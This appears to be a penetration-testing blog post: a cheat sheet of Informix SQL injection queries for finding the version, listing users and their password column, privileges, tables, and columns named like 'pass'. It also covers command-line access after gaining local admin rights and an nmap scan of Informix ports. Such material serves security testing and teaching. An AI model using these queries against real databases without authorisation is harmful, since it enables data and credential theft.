# Informix SQL Injection Cheat Sheet

Some useful syntax reminders for SQL Injection into Informix databases…

Below are some tabulated notes on how to do many of thing you’d normally do via SQL injection.  All tests were performed on Informix Dynamic Server Express Edition 11.5 for Windows.  The Informix download page is [here](http://www.ibm.com/developerworks/downloads/im/dsexp/?S_TACT=105AGX11&S_CMP=LP).

This post is part of series of SQL Injection Cheat Sheets.  In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend.  This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.

I’m not planning to write one for MS Access, but there’s a great [MS Access Cheat Sheet here](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html).

|  |  |
| --- | --- |
| Version | SELECT DBINFO(‘version’, ‘full’) FROM systables WHERE tabid = 1; SELECT DBINFO(‘version’, ‘server-type’) FROM systables WHERE tabid = 1; SELECT DBINFO(‘version’, ‘major’), DBINFO(‘version’, ‘minor’), DBINFO(‘version’, ‘level’) FROM systables WHERE tabid = 1; SELECT DBINFO(‘version’, ‘os’) FROM systables WHERE tabid = 1; — T=Windows, U=32 bit app on 32-bit Unix, H=32-bit app running on 64-bit Unix, F=64-bit app running on 64-bit unix |
| Comments | select 1 FROM systables WHERE tabid = 1; — comment |
| Current User | SELECT USER FROM systables WHERE tabid = 1; select CURRENT\_ROLE FROM systables WHERE tabid = 1; |
| List Users | select username, usertype, password from sysusers; |
| List Password Hashes | TODO |
| List Privileges | select tabname, grantor, grantee, tabauth FROM systabauth join systables on systables.tabid = systabauth.tabid; — which tables are accessible by which users select procname, owner, grantor, grantee from sysprocauth join sysprocedures on sysprocauth.procid = sysprocedures.procid; — which procedures are accessible by which users |
| List DBA Accounts | TODO |
| Current Database | SELECT DBSERVERNAME FROM systables where tabid = 1; — server name |
| List Databases | select name, owner from sysdatabases; |
| List Columns | select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid; |
| List Tables | select tabname, owner FROM systables; select tabname, viewtext FROM sysviews  join systables on systables.tabid = sysviews.tabid; |
| List Stored Procedures | select procname, owner FROM sysprocedures; |
| Find Tables From Column Name | select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid where colname like ‘%pass%’; |
| Select Nth Row | select first 1 tabid from (select first 10 tabid from systables order by tabid) as sq order by tabid desc; — selects the 10th row |
| Select Nth Char | SELECT SUBSTRING(‘ABCD’ FROM 3 FOR 1) FROM systables where tabid = 1; — returns ‘C’ |
| Bitwise AND | select bitand(6, 1) from systables where tabid = 1; — returns 0 select bitand(6, 2) from systables where tabid = 1; — returns 2 |
| ASCII Value -> Char | TODO |
| Char -> ASCII Value | select ascii(‘A’) from systables where tabid = 1; |
| Casting | select cast(’123′ as integer) from systables where tabid = 1; select cast(1 as char) from systables where tabid = 1; |
| String Concatenation | SELECT ‘A’ || ‘B’ FROM systables where tabid = 1; — returns ‘AB’ SELECT concat(‘A’, ‘B’) FROM systables where tabid = 1; — returns ‘AB’ |
| String Length | SELECT tabname, length(tabname), char\_length(tabname), octet\_length(tabname) from systables; |
| If Statement | TODO |
| Case Statement | select tabid, case when tabid>10 then “High” else ‘Low’ end from systables; |
| Avoiding Quotes | TODO |
| Time Delay | TODO |
| Make DNS Requests | TODO |
| Command Execution | TODO |
| Local File Access | TODO |
| Hostname, IP Address | SELECT DBINFO(‘dbhostname’) FROM systables WHERE tabid = 1; — hostname |
| Location of DB files | TODO |
| Default/System Databases | These are the system databases: sysmaster sysadmin\* sysuser\* sysutils\* |

\* = don’t seem to contain anything / don’t allow readingInstalling Locally

You can download [Informix Dynamic Server Express Edition 11.5 Trial](http://www.ibm.com/developerworks/downloads/im/dsexp/?S_TACT=105AGX11&S_CMP=LP) for Linux and Windows.

Database ClientThere’s a [database client SDK](http://www14.software.ibm.com/webapp/download/search.jsp?rs=ifxdl) available, but I couldn’t get the demo client working.  
I used [SQuirreL SQL Client Version 2.6.8](http://squirrel-sql.sourceforge.net/) after installing the [Informix JDBC drivers](http://www14.software.ibm.com/webapp/download/search.jsp?go=y&rs=ifxjdbc) (“emerge dev-java/jdbc-informix” on Gentoo).Logging in from command line

If you get local admin rights on a Windows box and have a GUI logon:

* Click: Start | All Programs | IBM Informix Dynamic Server 11.50 | someservername.  This will give you a command prompt with various Environment variables set properly.
* Run dbaccess.exe from your command prompt.  This will bring up a text-based GUI that allows you to browse databases.

The following were set on my test system.  This may help if you get command line access, but can’t get a GUI – you’ll need to change “testservername”:

set INFORMIXDIR=C:PROGRA~1IBMIBMINF~111.50

set INFORMIXSERVER=testservername

set ONCONFIG=ONCONFIG.testservername

set PATH=C:PROGRA~1IBMIBMINF~111.50bin;C:WINDOWSsystem32;C:WINDOWS;C:WINDOWSSystem32Wbem;C:PROGRA~1ibmgsk7bin;C:PROGRA~1ibmgsk7lib;C:Program FilesIBMInformixClien-SDKbin;C:Program Filesibmgsk7bin;C:Program Filesibmgsk7lib

set CLASSPATH=C:PROGRA~1IBMIBMINF~111.50extendkrakatoakrakatoa.jar;C:PROGRA~1IBMIBMINF~111.50xtendkrakatoajdbc.jar;

set DBTEMP=C:PROGRA~1IBMIBMINF~111.50infxtmp

set CLIENT\_LOCALE=EN\_US.CP1252

set DB\_LOCALE=EN\_US.8859-1

set SERVER\_LOCALE=EN\_US.CP1252

set DBLANG=EN\_US.CP1252

mode con codepage select=1252

Identifying on the network

My default installation listened on two TCP ports: 9088 and 9099.  When I created a new “server name”, this listened on 1526/TCP by default.  Nmap 4.76 didn’t identify these ports as Informix:

$ sudo nmap -sS -sV 10.0.0.1 -p- -v –version-all  
…  
1526/tcp open  pdap-np?  
9088/tcp open  unknown  
9089/tcp open  unknown  
…  
TODO How would we identify Informix listening on the network?